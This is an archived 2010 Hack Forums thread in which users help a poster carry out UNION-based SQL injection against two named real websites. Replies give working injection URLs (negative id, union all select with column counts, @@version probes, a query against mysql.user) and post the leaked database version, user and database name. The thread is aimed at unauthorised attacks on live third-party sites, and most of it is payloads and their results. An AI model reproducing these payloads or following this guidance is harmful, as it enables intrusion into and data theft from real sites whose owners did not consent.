+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Error : The used SELECT statements have a different number of columns (/showthread.php?tid=939111)
Pages: Pages
1
2
Error : The used SELECT statements have a different number of columns - XxZzUniqueModZzxX - Dec 30, 2010
does any have clue? i decided to attack website usin sql injection and i got this error i also tried with other but still the same , im sure everythin i did is correct but this error comes and it confuse the shit outta me heres the vuln website
http://www.solutionfocusedtrainers.co.uk/trainers.php?id=4
http://www.leadacidbatteryinfo.org/newsdetail.php?id=44
and oh yh merry chrismas and happy new year
i googled but found useless info same with search butt here
* - Viral Dragon - Dec 30, 2010
Thats because the website is using a version 4 type.
Version: 4.0.27-max-log
User: [email protected]
DB: db197803277
-Viral.
* - XxZzUniqueModZzxX - Dec 30, 2010
(Dec 30, 2010 06:10 PM)Viral Dragon Wrote: Thats because the website is using a version 4 type.is it ? so it doesnt support union right
Version: 4.0.27-max-log
User: [email protected]
DB: db197803277
-Viral.
* - Viral Dragon - Dec 30, 2010
Rolla,
No it does support union. All you had to do was a "-" sign in front the "4"
(e.g.: index.php?id=-4 union select 1,2,3,4,5,6,7,8--)
-Viral.
* - quash - Dec 30, 2010
Version 5 on this site...
http://www.leadacidbatteryinfo.org/newsdetail.php?id=-44+union+all+select+1,2,3,4,5,6,7,@@version,9,10,11--
* - Volim te - Dec 30, 2010
The 1st site has 7 columns i think
Code
http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4 union all select 1,2,3,@@version,5,6,7--* - hackering - Dec 30, 2010
(Dec 30, 2010 06:13 PM)Viral Dragon Wrote: Rolla,
No it does support union. All you had to do was a "-" sign in front the "4"
(e.g.: index.php?id=-4 union select 1,2,3,4,5,6,7,8--)
-Viral.
i try with - same and have the same problem.
* - XxZzUniqueModZzxX - Dec 30, 2010
(Dec 30, 2010 06:14 PM)Thę Rusty Gh0st Wrote: The 1st site has 7 columns i thinki should get -rep for bein stupit , i didnt see the minus thing , thank you guys , ill try my best next time not askin stupit things
that was freakin' eazy stop C&P'ing and LEARN SQL injection! mateyCodehttp://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4%20union%20all%20select%201,2
,3,@@version,5,6,7--
* - zwartehoed - Dec 30, 2010
Sended you a pm..
To short.
* - Viral Dragon - Dec 30, 2010
(Dec 30, 2010 06:18 PM)hackering Wrote: i try with - same and have the same problem.
Hackering,
Sure you tried? :: http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4%20union%20all%20select%201,2,3,@@version,5,6,7--
Or did you put one too many columns because you tried 8
like my e.g. ?
-Viral.
* - Volim te - Dec 30, 2010
(Dec 30, 2010 06:18 PM)Rolla xx Wrote: i should get -rep for bein stupit , i didnt see the minus thing , thank you guys , ill try my best next time not askin stupit thingsYea I all ways put the - this lol in helps and lol at this
Code
http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4 union all select 1,2,3,user,5,6,7 from+mysql.user--* - hackering - Dec 30, 2010
(Dec 30, 2010 06:25 PM)Viral Dragon Wrote: Hackering,yes i tried 8.. thant it works with 7 columns.... and why ?
Sure you tried? :: http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4%20union%20all%20select%201,2,3,@@version,5,6,7--
Or did you put one too many columns because you tried 8
like my e.g. ?
-Viral.
* - Viral Dragon - Dec 30, 2010
Hackering,
So when you click the link you don't see the version being displayed?
-Viral.
* - hackering - Dec 30, 2010
(Dec 30, 2010 06:51 PM)Viral Dragon Wrote: Hackering,
So when you click the link you don't see the version being displayed?
-Viral.
http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4%20union%20all%20select%201,2,3,@@version,5,6,7--
4.0.27-max-log
sorry i understand now... i'm disturbed when i searched the number of columns.
* - Viral Dragon - Dec 30, 2010
Then your not having a problem.
If you see the version that means the "-" is working for you.
You just have to put it front the 4 before the = sign.
-Viral.